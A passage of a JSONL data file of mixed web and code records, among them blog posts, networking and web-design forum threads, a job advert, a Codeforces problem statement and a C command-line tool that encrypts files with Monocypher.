"cpt_opc_fineweb_code", "language": "code", "token_count": 769, "token_count_with_eod": 770, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Thank you for the feedbacks\nThank you everyone for sending their ideas on how to improve the site.\nWe have modified the front page already so access to latest daily comments gets easier.\nA few more markets will be added to the daily cheatsheet section.\nAnd we are testing ways to auto post the pre-market summary so that everyone can find the information quickly every morning.\nOne of the suggestions is to allow subscribers to upload their chart images, that is a bit more complicated and I have someone working on that now.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 107, "token_count_with_eod": 108, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "|WARNING: Driving while distracted can result in loss of vehicle control, crash and injury. We strongly recommend that you use extreme caution when using any device that may take your focus off the road. Your primary responsibility is the safe operation of your vehicle. We recommend against the use of any hand-held device while driving and encourage the use of voice-operated systems when possible. Make sure you are aware of all applicable local laws that may affect the use of electronic devices while driving.|\n|APower: Press to switch the system on and off.|\nBSOURCE: Press to access different audio modes, such as AM, FM and Media.\nCSeek, Fast Forward and Reverse: In radio mode, select a frequency band and press this button. The system stops at the first station it finds in that direction. In Media mode, press to select the previous or next track. Press and hold to move quickly forward or backward through the current track.\nDTUNE: Press to search through the radio frequency band. The system stops at the first station it finds in that direction.\nEVolume: Turn to adjust the volume.\nFSOUND: Press to access settings for Treble, Middle, Bass, Balance or Fade.\nGEject: Press to eject a CD.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 256, "token_count_with_eod": 257, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "For the last 20 years, we have celebrated GIS day along with Esri. It is a great opportunity to get people who haven’t used GIS or mapping before in your office to have a look at what you do and maybe share a map cake (Note: It is traditional for GIS professionals to make a GIS-themed cake for the event; this year produced some awesome entries.\nSo, you know how Star Wars day is on May 4th, and then the next day is the “Revenge of the 5th”? Well, the day after GIS Day is always PostGIS Day—get it? On this day the technology underpinning many of the geospatial systems in the world is celebrated, although there isn’t as much cake (although one should point out that pi(e) would be better).\nOn PostGIS day, events are held around the world by OSGeo, the Open Source Geospatial Foundation, and these events are great to attend as a user or non-user. Just as GIS day is about opening your door and showing people what you do, PostGIS day is the same in that those who use it discuss and show how to get using it and how to use it better. If you are lucky enough to be in downtown St. Louis, then you will have the opportunity to hear from the father of PostGIS, Paul Ramsey, and hear how you can quickly and easily get up and running.\nWhy PostGIS? Simply, shapefiles and geojson files thrown into a shared folder isn’t a good way to work. Also, it is a database that stores geometries so you can interact with it directly without needing a GIS. Those of you familiar with the older Esri server systems will be familiar with Oracle. Well PostGIS (an extension to enable geospatial data in PostGRES) is a little bit like Oracle but with super-powers. It has many features you will not find on any other geospatial database system and is now the default database format for Esri server systems. QGIS and even companies like Carto use it for their infrastructure. If you can use a geodatabase or use Excel to create formulas, then you can easily start doing awesomeness with PostGIS.\nSo, happy PostGIS day! Now go and see where your nearest event is and see what it can do for you!", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Splitting results pages, but ordering by date...?\nby David Richardson\nJuly 9, 2002 05:24\nI've been using the method of browsing a database by splitting pages according to the last ID number (as per the examples). I've been ordering by the date of the record which has been working fine. *HOWEVER*, I've got a user who needs to enter data in retrospectively and the listing no longer works.\nThe only thing I can come up with is to export the database and then re-import it in date order so that the ID numbers are in the same order as the date. This is rather long-winded, and won't prevent the problem from happening again. So, has anyone got any ideas on how to do this?\nApologies to all for my Roger-esque quiet of late - I've been kind of drowning in a sea of work lately. I'll be getting onto the user discussion forums soon, for those of you who are interested. :-)\nName E-mail optional TopicMessage:\nHTTP Link: Link text:", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Goodbye DayOne - it's been fun.\nDayOne has been great\nI've been using the DayOne journaling app since 2012 (my first post). It's a great piece of software with lots of features and a clean design. The syncing works well between my mac & my iPhone too.\nWell, I've been spending more and more time journaling and writing blog posts in vim lately. I've got vim set up exactly the way I like it with many macros and bash aliases setup to streamline the entire process. Not to mention how much easier it makes editing and navigating documents. So it's getting harder and harder to justify the yearly subscription cost (~$55.00pa) for DayOne when I'm using and enjoying vim so much more - and for free.\nI've exported all of my posts out of DayOne a (2.6mb text file) with very little formatting.\nSo now I have to figure out how I'm going to format it nicely to match the rest of my journal.md file I've been writing in lately. The markdown format is much nicer to work with and if I ever decide to make these things public then it's easy enough to post them to my blog.\n- Darren Inglis", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 259, "token_count_with_eod": 260, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I'm still alive. We're going through our fiscal year-end at work. I've been spending a few hours at the office. Almost 15 hours yesterday. (Yes, I most certainly AM asking for sympathy ... humor me, please).\nI feel like I'm living, eating and sleeping with my job lately. So, I thought this was funny:\nAn accountant is having a hard time sleeping and goes to see his doctor. \"Doctor, I just can't get to sleep at night.\"\n\"Have you tried counting sheep?\"\n\"That's the problem - I make a mistake and then spend three hours trying to find it.\"\nI'll post something soon. Don't forget I'm here ...", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 145, "token_count_with_eod": 146, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I've been working on icon optimization, so you can look forward to updated paths, no more glitches and improved export to SVG. In addition, I have added 24 new icons with the loudly demanded Actions and Real Estate collections. You can download them here. :-)\nNow, I am developing a brand new creative set,\nthat will soon be available for you to buy and I would like to offer you the opportunity to support the development through an early-bird donation. You can contribute any amount you like to get a 20% discount on all my other products.\nI would like to thank you for all your feedback, which is constantly helping me to work not only on improvements but also helping me to develop new stuff. And I promise that what’s coming is really exciting!\nSee you next time! :-)", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "My name is Topher Wilson, I’m a full-stack developer & consultant. I help lots of great people make lots of awesome things. I also write now and then, and dabble in indie dev.\nI help small businesses and startups build out their products & offerings quickly and on budget. I’ve been building sites, apps, tools and services for over 15 years. In 2019 it’s not enough to be able to build a thing – that’s the beginning; my value is providing both development and operational expertise.\nIf you’d like to chat shoot me an email – it doesn’t just have to be about work, just saying “hi!” can be cool too.\nMy Products & Projects\nCinchPress is the fastest way to start blogging on WordPress. Upload, then post. That's it.\nThe zero-code & zero-hassle way to add forms to your website. Just set the POST value to your form location, and you're all set.\nSaaS Crew is a semi-structured community, centered around building new SaaS and digital products. In SaaS Crew we build together, learn together, and succeed together.\nThe SaaS Email kit includes all the transaction emails you'll need to get your SaaS off the ground and nuture your users.\nCinchPress is the fastest way to start blogging on WordPress. Upload, then post. That’s it. At just 72KB, CinchPress is light weight, fast, and incredibly simple to use. There is nothing to delete and nothing that needs configuring before you can start posting. Your site will be ready for visitors as soon as you upload.\nI’m doing a new thing. Starting today I’ll be using my spare time to build a complete SaaS application, from start to selling, in just four weeks. I’m calling it the Four Week Saas The thing we’ll be building is FormCaster, a zero-code form processing solution for static sites. Hugo Jekyll, etc have become […]", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "We use an ancient version of Northstar thats been heavily modified to\ngive ties in to our billing system for traffic accounting, etc. This\nis used for IPv4. This happily takes care of various /19's and /21's.\nNS has no IPv6 support nor is it likely to in the future.\nI've just started using the latest beta of IPPlan for IPv6. It didn't\nhave a good way to nicely display IPv6 allocations so I wrote some PHP\nto display this in a nice manner from the DB. Seems to work nicely for\nBoth are free and open source.\nOn Thu, Dec 16, 2010 at 10:36 AM, John Russell <jsr(a)jsr.com> wrote:\nSo, I'm looking at this ipv6 assignment from the\ngood folks at APNIC, and I'm also looking at my current, aging, not-very-scalable IP\nManagement system, and I'm not liking where I see this going.\nI'm interested to hear NZNOGs suggestions about decent, scalable, software\n(preferably off-the-shelf) to handle v4 and v6 IP management. Open source stuff welcome,\nthough commercial, supported software is also fine.\nI'm just wondering what you cool kids are using to manage their address space these\nFeedback, thoughts and opinions welcome.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 289, "token_count_with_eod": 290, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Polycarp is a big lover of killing time in social networks. A page with a chatlist in his favourite network is made so that when a message is sent to some friend, his friend's chat rises to the very top of the page. The relative order of the other chats doesn't change. If there was no chat with this friend before, then a new chat is simply inserted to the top of the list.\n\nAssuming that the chat list is initially empty, given the sequence of Polycaprus' messages make a list of chats after all of his messages are processed. Assume that no friend wrote any message to Polycarpus.", "source": "cpt_codeforces", "language": "en", "token_count": 132, "token_count_with_eod": 133, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "#include <ctype.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <string.h>\n#include \"monocypher.h\"\n#include \"platform.h\"\n\n#define PROG           \"monocrypt\"\n#define MAXPASS        128\n/* CHUNKLEN, NB_BLOCKS, and NB_ITERATIONS affect file format */\n#define CHUNKLEN       ((1L << 26) - 16)\n#define NB_BLOCKS      (1L << 18)\n#define NB_ITERATIONS  3\n\n/* prealloated buffers */\nstatic union {\n    uint8_t chunk[CHUNKLEN+16];\n    uint64_t work_area[NB_BLOCKS*1024/sizeof(uint64_t)];\n} buf;\n\nenum error {ERR_OK, ERR_ENT, ERR_READ, ERR_WRITE, ERR_TRUNC, ERR_INVALID};\nstatic const char *errmsg[] = {\n    [ERR_ENT] = \"failed to gather entropy\",\n    [ERR_READ] = \"input error\",\n    [ERR_WRITE] = \"output error\",\n    [ERR_TRUNC] = \"input is truncated\",\n    [ERR_INVALID] = \"wrong password / bad input\",\n};\n\nstatic void\nincrement(uint8_t nonce[24])\n{\n    for (int i = 0; i < 24; i++) {\n        if (++nonce[i]) {\n            break;\n        }\n    }\n}\n\nstatic enum error\nfencrypt(FILE *in, FILE *out, uint8_t *password, int pwlen)\n{\n    uint8_t key[32];\n    uint8_t nonce[24];\n    enum error err = ERR_OK;\n\n    if (fillrand(nonce, sizeof(nonce))) {\n        return ERR_ENT;\n    }\n\n    /* first 24 bytes of the file is the nonce */\n    if (!fwrite(nonce, sizeof(nonce), 1, out)) {\n        return ERR_WRITE;\n    }\n\n    crypto_argon2i(\n        key, sizeof(key),\n        buf.work_area, NB_BLOCKS, NB_ITERATIONS,\n        password, pwlen,\n        nonce, sizeof(nonce)\n    );\n    crypto_wipe(password, MAXPASS);\n\n    for (;; increment(nonce)) {\n        size_t n = fread(buf.chunk, 1, CHUNKLEN, in);\n        if (!n && ferror(in)) {\n            err = ERR_READ;\n            break;\n        }\n        /* note: zero-length chunk is fine */\n\n        uint8_t *mac = buf.chunk + n;\n        crypto_lock(mac, buf.chunk, key, nonce, buf.chunk, n);\n        if (!fwrite(buf.chunk, n+16, 1, out)) {\n            err = ERR_WRITE;\n            break;\n        }\n\n        /* short chunk indicates end of input */\n        if (n < CHUNKLEN) {\n            err = fflush(out) ? ERR_WRITE : ERR_OK;\n            break;\n        }\n    }\n\n    crypto_wipe(key, sizeof(key));\n    return err;\n}\n\nstatic enum error\nfdecrypt(FILE *in, FILE *out, uint8_t *password, int pwlen)\n{\n    uint8_t key[32];\n    uint8_t nonce[24];\n    enum error err = ERR_OK;\n\n    /* first 24 bytes of the file is the IV */\n    if (!fread(nonce, sizeof(nonce), 1, in)) {\n        return ferror(in) ? ERR_READ : ERR_TRUNC;\n    }\n\n    crypto_argon2i(\n        key, sizeof(key),\n        buf.work_area, NB_BLOCKS, NB_ITERATIONS,\n        password, pwlen,\n        nonce, sizeof(nonce)\n    );\n    crypto_wipe(password, MAXPASS);\n\n    for (;; increment(nonce)) {\n        size_t n = fread(buf.chunk, 1, sizeof(buf.chunk), in);\n        if (!n && ferror(in)) {\n            err = ERR_READ;\n            break;\n        }\n        if (n < 16) {\n            err = ERR_TRUNC;\n            break;\n        }\n        n -= 16; /* chop off MAC */\n\n        uint8_t *mac = buf.chunk + n;\n        if (crypto_unlock(buf.chunk, key, nonce, mac, buf.chunk, n)) {\n            err = ERR_INVALID;\n            break;\n        }\n        if (n && !fwrite(buf.chunk, n, 1, out)) {\n            err = ERR_WRITE;\n            break;\n        }\n\n        /* short chunk indicates end of input */\n        if (n < CHUNKLEN) {\n            err = fflush(out) ? ERR_WRITE : ERR_OK;\n            break;\n        }\n    }\n\n    crypto_wipe(key, sizeof(key));\n    return err;\n}\n\nstatic int xoptind = 1;\nstatic int xopterr = 1;\nstatic int xoptopt;\nstatic char *xoptarg;\n\nstatic int\nxgetopt(int argc, char * const argv[], const char *optstring)\n{\n    static int optpos = 1;\n    const char *arg;\n    (void)argc;\n\n    /* reset? */\n    if (xoptind == 0) {\n        xoptind = 1;\n        optpos = 1;\n    }\n\n    arg = argv[xoptind];\n    if (arg && strcmp(arg, \"--\") == 0) {\n        xoptind++;\n        return -1;\n    } else if (!arg || arg[0] != '-' || !isalnum(arg[1])) {\n        return -1;\n    } else {\n        const char *opt = strchr(optstring, arg[optpos]);\n        xoptopt = arg[optpos];\n        if (!opt) {\n            if (xopterr && *optstring != ':')\n                fprintf(stderr, \"%s: illegal option: %c\\n\", argv[0], xoptopt);\n            return '?';\n        } else if (opt[1] == ':') {\n            if (arg[optpos + 1]) {\n                xoptarg = (char *)arg + optpos + 1;\n                xoptind++;\n                optpos = 1;\n                return xoptopt;\n            } else if (argv[xoptind + 1]) {\n                xoptarg = (char *)argv[xoptind + 1];\n                xoptind += 2;\n                optpos = 1;\n                return xoptopt;\n            } else {\n                if (xopterr && *optstring != ':')\n                    fprintf(stderr, \"%s: option requires an argument: %c\\n\",\n                            argv[0], xoptopt);\n                return *optstring == ':' ? ':' : '?';\n            }\n        } else {\n            if (!arg[++optpos]) {\n                xoptind++;\n                optpos = 1;\n            }\n            return xoptopt;\n        }\n    }\n}\n\nstatic void\nusage(FILE *f)\n{\n    fputs(\"usage: \" PROG \" <-E|-D> [-h] [-o FILE] [-p PASSWORD] [FILE]\\n\", f);\n}\n\nint\nmain(int argc, char *argv[])\n{\n    enum {MODE_NONE, MODE_ENCRYPT, MODE_DECRYPT} mode = MODE_NONE;\n    const char *outfile = 0;\n    const char *infile = 0;\n    uint8_t password[MAXPASS];\n    int pwlen = 0;\n    enum error err;\n\n    int option;\n    while ((option = xgetopt(argc, argv, \"DEho:p:\")) != -1) {\n        switch (option) {\n        case 'D': mode = MODE_DECRYPT; break;\n        case 'E': mode = MODE_ENCRYPT; break;\n        case 'h': usage(stdout); return 0;\n        case 'o': outfile = xoptarg; break;\n        case 'p': {\n            size_t len = strlen(xoptarg) + 1;\n            if (len > MAXPASS) {\n                fprintf(\n                    stderr, PROG \": password must be < %d bytes\\n\", MAXPASS\n                );\n                return 1;\n            }\n            pwlen = len;\n            memcpy(password, xoptarg, len);\n        } break;\n        default: usage(stderr); return 1;\n        }\n    }\n\n    binary_stdio();\n\n    if (mode == MODE_NONE) {\n        usage(stderr);\n        return 1;\n    }\n\n    if (!pwlen) {\n        int r0 = read_password(password, sizeof(password), \"password: \");\n        if (r0 == 0) {\n            fputs(PROG \": failed to read password\\n\", stderr);\n            return 1;\n        }\n        if (r0 < 0) {\n            fprintf(stderr, PROG \": password must be < %d bytes\\n\", MAXPASS);\n            return 1;\n        }\n        if (mode == MODE_ENCRYPT) {\n            uint8_t tmp[MAXPASS];\n            int r1 = read_password(tmp, sizeof(tmp), \"password (repeat): \");\n            if (r1 == 0) {\n                fputs(PROG \": failed to read password\\n\", stderr);\n                return 1;\n            }\n            if (r0 != r1 || memcmp(password, tmp, r0)) {\n                fputs(PROG \": passwords don't match\\n\", stderr);\n                return 1;\n            }\n            crypto_wipe(tmp, sizeof(tmp));\n        }\n        pwlen = r0;\n    }\n\n    if (argv[xoptind] && argv[xoptind+1]) {\n        usage(stderr);\n        return 1;\n    }\n    infile = argv[xoptind];\n\n    FILE *in = !infile || !strcmp(infile, \"-\") ? stdin : fopen(infile, \"rb\");\n    if (!in) {\n        fprintf(stderr, PROG \": could not open input file: %s\\n\", infile);\n        return 1;\n    }\n    FILE *out = !outfile ? stdout : fopen(outfile, \"wb\");\n    if (!out) {\n        fprintf(stderr, PROG \": could not open output file: %s\\n\", outfile);\n        return 1;\n    }\n\n    switch (mode) {\n    case MODE_ENCRYPT: err = fencrypt(in, out, password, pwlen); break;\n    case MODE_DECRYPT: err = fdecrypt(in, out, password, pwlen); break;\n    default: return 1;\n    }\n    if (outfile) {\n        if (fclose(out) && err == ERR_OK) {\n            err = ERR_WRITE;\n        }\n    }\n    if (infile) {\n        fclose(in);\n    }\n\n    if (err) {\n        fprintf(stderr, PROG \": %s\\n\", errmsg[err]);\n        if (outfile) {\n            remove(outfile);\n        }\n        return 1;\n    }\n    return 0;\n}", "source": "cpt_stack_code", "language": "code", "token_count": 2466, "token_count_with_eod": 2467, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "I should say thanks to Nick for having posted yesterday some pictures of Sigma-Aldrich packaging madness. Packaging has a cost and an effect on environment, however, as Nick correctly points, some chemicals shipped by Sigma are dangerous and this might justify some excessive packaging.\nThis morning I received some chemically-inert stainless steel beads that I'm using to extract RNA with the Tissuelyser, my preferred method. My bench-mate Shawon received some too. Despite we are from the same lab, from the same address, and from the same center of cost, Qiagen sent us two different parcels, therefore doubling the shipping and handling taxes, and doubling CO2 emissions.\nThe picture shows the amount of stuff required to send 400 x 5mm stainless beads (in the small plastic bag). Our lab paid 352 dollars (subtotal) plus 41 dollars (shipping and handling). This packaging, which costs me 10% of my research budget, offends me every time I make an order, so I've been looking for alternatives. After some common sense thinking, my conclusion is that these are not complex chemicals, but simply inox beads with a diameter of 5 millimeters, nothing more than bearing balls. Next time, saving 60% of my budget, I could get 400 stainless steel bearing balls for 160 dollars.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 282, "token_count_with_eod": 283, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I installed and configured DDNS with DuckDNS, but the ping is not successfull, all packages are lost, with ping test over the internet. What's wrong?\nDoes the host/target allow pinging?\nCompare these three things:\n- Google \"what's my IP\"\n- the result of nslookup < your ddns domain name >\n- the IP address that is reported in the main status screen under \"IPv4 upstream\"\nDo all three match?\nYes they match\nOk... that was the first thing -- making sure that you have a true public IP and that everything is resolving properly.\nbeyond ping, what is your goal? Are you port forwarding?\nWhere can I verify this?\nWhat do you mean with resolving and true public IP?\nMy goal is to make homenetwork to which I can connect from outside, I think this would need port forwarding.\nresolving = DNS resolution. This is the process of looking up a domain name (i.e. openwrt.org) and returning an IP address (126.96.36.199)\ntrue public IP = publicly routable IP address. Not all ISP's provide addresses that can be reached from the internet in general. This is called CG-NAT (carrier grade network address translation), and it allows the ISP to maintain fewer public IPs (IPv4 addresses are limited) while still giving internet access. The same thing happens on your router -- everything behind your router is NAT'd and the internal network uses RFC1918 private IP addresses that cannot be reached on the internet.\nI would recommend using a VPN instead of port forwarding. It is much more secure and gives a better level of access without compromising the integrity of your network. Wireguard is a good option here.\nFrist thanks for the fast respons and explanation.\nI first need to study this deeper what you explained. My openwrt router is behind my main router, my this causes something.\nI will answere later on your questions and explanation after i gathered more information. Dont known if I can do it today.\nThis may be the reason you cannot ping -- your upstream router may block pings.\nAre you sure? If your OpenWrt router is behind another router, that would suggest that the IPv4 upstream would be an RFC1918 private address, not a public IP address. The Google test should return the apparent public IP.... but we need to know if that IP address is really yours uniquely or if you have a CG-NAT situation.\nIn that case, you would need to forward within the main router. If you're offering a service from the OpenWrt router forward the port to that IP. Usually pings from the Internet would be answered by the main router-- this is OpenWrt's default when used as a main router and there is no harm in answering pings.\nWhen OpenWrt is behind another router, this will not be a public IP, but an IP on the main router's LAN.\nPrecisely... except if the upstream device is not a router (maybe a simple modem, or modem+router in bridge mode).\n@Sundhto -- since your OpenWrt router is apparently behind another device, we need to check both the OpenWrt address to confirm if it is an RFC1918 address, and the main router to see if it has a public IP or a CG-NAT address.\nPlease look at the OpenWrt router's main status page and find the IPv4 upstream section... what does that show for the address (just post the first two octets in bold: aaa.bbb.ccc.ddd)?\nYes my main router was blocking the ping, found that option. Disabled it, but still the ping isnt coming through.\nIt showing a 46. .. IP, I dont know if its a CG-Nat situation. How can i check this. But when i ping my DNS Adress, it shows me the right IP next to it.\nYes I want to let it run over wireguard, I want wireguard + DDNS. So i can connect to my Homenetwork from outside and I am using DuckDNS.\nCan anybody refer me a tutorial for this topic. Musst be a lot out there, but it seems to me like googles search engine is becoming worse and worse.\nWell, since the main router is the thing that interfaces with the public IP, it is the one that will be responsible for responding to pings. If it is not, that means:\n- the setting on your router didn't actually affect the change -- maybe it didn't save, maybe it doesn't actually work the way it should\n- If you're testing from within the network, the router may not allow responses in a hairpin/loopback mode. Test from outside in this case\n- your ISP (or the router) may block ping responses from the connected equipment.\nThat said, ping is a very useful tool, but it is not the be-all-end-all of connectivity tests.\nThis should be no problem (at least in theory... hopefully your ISP and/or main router doens't cause problems here). WG is a great option.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1081, "token_count_with_eod": 1082, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "BI Consultant - Home Based - Up to £55,000\nA Microsoft Gold Partnered client of mine who are a small business intelligence consultancy based in London, continue to hire new BI Consultants from continued growth with zero furloughed staff during lockdown.\nDespite their office in London, they have staff all over the country and rarely visit the office. As it stands right now, everyone is working fully remotely.\nThey're an SME, but they've already achieved Microsoft Gold Partner status..\nThe primary focus for them is the delivery of data driven solutions for their clients utilising the Microsoft BI stack, both on-premise and on the Azure platform projects. They also do a lot of work with Power BI as their visualisation tool of choice given they're a Microsoft partner.\nYou will work on projects end-to-end as BI Consultants are involved in every stage of the project life cycle\nThey are really big on training and development and encourage upskilling putting staff through your certifications quickly. They want someone who's keen to keep learning.\nExperience you'll need:\n- Full BI SQL stack, SSIS, SSRS, SSAS\n- Power BI experience\n- Data warehousing, ETL, data integration/manipulation background\n- Profit share - up to 10% max\n- 25 days holiday, 5% matched pension, Private Medical, MS Certs\n- Up to £55,000\n- Chance to work with really well known clients\n- Join an MS Gold Partner\n- Work on Azure cloud projects", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 321, "token_count_with_eod": 322, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I have created a LegalTech (startup in the field of law) which aims to connect lawyers and bailiffs in order to simplify the service process.\nAs a partner, I participate in the company's strategic decisions. As a CEO, my mission is making coherent technical choices to ensure the durability of our product. As DPO, I am responsible for ensuring data compliance and compliance of our tool, and as developer, I have developed our entire product using Ruby On Rails and Vue.js\nI have to understand the customer's needs to translate it into a technical solution. Within this company, I am a back-end developer PHP. I also must take care about performance because of large amount of data owned by Gac. We use tools such as MySQL, Elastic Search and Redis.\nProcess quality pilot - Project manager - Developer @ Carrier - September 2011 to January 2017\nAt Carrier, I had the opportunity to diversify in my work\nAs Project Manager, I developed a 3D drawing strongeting solution with Sketchup and the API Ruby. As a Process Quality Pilot, I created a web application with C# & ASP.NET MVC in order to follow the technical interventions.\nAs a design office, I carried out calculations of the installations's sizing and the drawing of execution's plans under AutoCad.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 271, "token_count_with_eod": 272, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I was surprised to see I had no menu today - out of the blue - its actually moved to the bottom of the page! After hours of fiddling and disabling every single plugin, leaving just plagelines the issue is still present. See video for a basic text box - I moved it into the head and it jumps to the bottom and shows just above the footer but below the main content. I have a temp fix by placing the menu into the first row on the main content but it does mean other than my home page, all other pages have no menu. A quick fix is very urgent for this bug.\nBy Houston Haynes+\nHey folks - I'm trying to get right of some 'dead space' at the bottom of the page in the Material Theme. (see attached) Those two gray lines have an \"Edit\" button in between them when the browser has a login cookie for the site. Here I created a screenshot from a browser session that doesn't have context for my main login, so you can see that the \"Edit\" indicator is gone, but the bars and the space it occupies still remains. Can someone help me isolate this so I can make it *completely* disappear? Thanks.\nhi all, I have some trouble using PL5 on my site.\nI used plugins for event calendar (event on) and plugin (timetable responsive scheduler for WP) for schedule (classes) in the gym.\nThe problem is, that post from this 2 plugins are shown without menu in header and footer. (I setup header and footer) in the page editor for all type of page.\nWhen I create a lesson, it creates posts with slug (I have a slug \"lekce\" & event for events).\nI try to edit the post with PL editor, but editor is not opening on the post.\nDo you have some idea where should be some problem? Thanx so much.\nhere are links for the sites :\nsite with schedule :\nsite of one of the class (pilates)\nsite with calendar :\n7 side with one event from the calendar :\nwhen I have my site on DMS2 it was working :-(\nBy Michael Kummer+\nI have been unsuccessfully trying to get my 3-column widgetized footer aligned centered. The widget section itself is aligned left because the alignment appears to be controller the widget's content only. The container that contains the widget section is aligned centered. I have chosen a 3 column layout and I added 3 widgets, assuming they would be aligned centered.\nAny idea of what I may be doing wrong?\nThe page is question is: http://www.michaelkummer.com", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 550, "token_count_with_eod": 551, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Suppose the first ball comes in heading north. If it does not hit the target ball head on, the target ball flies off at some angle (say, to the northeast). It has an eastward component of momentum. To balance this, the first ball cannot stop, for if it did so, momentum would not be conserved in the east-west direction. It must head roughly northwest in such a way that its westward component of momentum cancels the eastward component of the target ball. The east-west momentum is then zero after the collision, which it must be because it was zero before the collision. See Figure 6.19 on page 102.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 137, "token_count_with_eod": 138, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Programming language Python\nComparing Python with C++\nPython code is typically 3-5 times shorter than equivalent Java code. However it is often 5-10 times shorter than equivalent C++ code. One Python programmer can finish in two months what two C++ programmers can’t complete in a year. Python shines as a glue language, used to combine components written in C++.\nPython is an object-oriented, strictly, dynamically typed, lexically scoped programming language. Its object model is quite flexible (single-dispatch, meta-classes, everything is an object), and somewhat similar to Basic and Pascal. The origin Python has some functional programming features: first-class functions, map(), reduce(), list comprehensions, and lexical closures. Inside of the GPRS module is a limited version in use. Anyhow, this limited version is often more than enough to cover the needs in M2M.\nPython is a extremely “free-form†language with very few ways of invariant construction. A loop with ” FOR NEXT” can be reduced to “FOR”, because the end of the loop can be forced by shifting the next instruction left.\nComparing Python with Java\nPython is expected to run slower than Java, but they also take much less time to develop. In M2M projects often the speed is less important. Most time a M2M devices is waiting for an event. Python code is much times shorter than Java code. This difference can be attributed to Python’s built-in high-level data types and its dynamic typing.\npublic class HelloWorld\npublic static void main (String args)\nif ( a > b )\nprint “Hello, world!â€\nif a > b :\n99 bottles of beer\nThere is a collection programs for the Song 99 Bottles of Beer programmed in different programming languages. The song is represented in much more than 1000 different programming languages and variations.The links to Python, Java and C++ as below. The Python code is much shorter as usual.\n- Python versions: http://99-bottles-of-beer.net/language-python-808.html\n- Java versions: http://99-bottles-of-beer.net/language-java-3.html\n- C++: http://99-bottles-of-beer.net/language-c++-108.html\nYour starting point can be a ready to use Python terminal or just a plain GPRS module with Python engine. The ready to use Python terminal can be customised, the software can be written by you or by third party. Last but not least you can get a own M2M device from scratch. If you have interest in an own Python based M2M application, then just drop an email to harald.naumann (at) gsm-modem.de or use the form to get further details.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Since I took my first multimedia course in high school, I knew I wanted to be a maker. I remember staying up late rendering Flash animations and playing them for the entire school on closed circuit TV. Making things has always given me a sense of satisfaction that I could never find elsewhere. It is that feeling of accomplishment combined with an understanding that I can make an impact in the world that fuels my drive to find my next challenge.\nIn addition to designing, I devote part of my time to learning new technologies. Tinkering with programming languages and prototyping tools helps me appreciate the product development process a little bit better when I understand all the steps involved. My next goal is to learn Swift so that I can launch my own language learning app.\nWhen I am away from my desk, I am usually traveling. I believe learning about other cultures helps us understand more about ourselves. I have come to appreciate that we all solve problems differently based on our understanding and the resources at our disposal. This has lead me to develop a deeper sense of compassion and a desire to understand those for whom I design.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 221, "token_count_with_eod": 222, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "My father has an old computer that is pretty messed up. The current OS is windows xp and Im thinking if I could upgrade to a Windows 7 copy.\nWhen I look at the system requirements of windows 7, I believe that it needs more ram to run win7, since it has only 512mb of ram installed. The motherboard is an Albatron 915-SLI and the CPU is the Intel Pentium 4 630 (Prescott - 90nm) @ 3GHz. It has an Gigabyte geforce 6600gt installed. So Im thinking of upgrading to 2gigs of ddr1 ram (40 euro for 2x2 kit). You think this will be enough for running windows 7?? Will there be an improvement over windows xp? The main use the computer gets is internet browsing (currently Opera, since chrome uses too much ram), downloading, excel-word file editing, email downloading, burning dvd's, etc. So not very heavy use like audio/video/photo editing, gaming and stuff. Its being used quite like an office computer.\nThe thing is that the motherboard doesnt list windows7 as compatible in the manual. Well thats normal since when it came out, there were no windows7. Still how can I be sure that there will everything be compatible?\nBefore you reinstall the OS, make sure that you get the right drivers for the mobo for WIN 7. If the drivers are available in the internet, then adding more RAM should be fine. IMO even the WIN 7 home basic would suffice for his needs.\nThe system looks to be getting on in age. It won't last forever, even with some upgrades.\nAt some point, the money spent on upgrades may provide better value if it is saved and put towards a new system. But that decision needs to factor in what your computing needs are too.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 394, "token_count_with_eod": 395, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
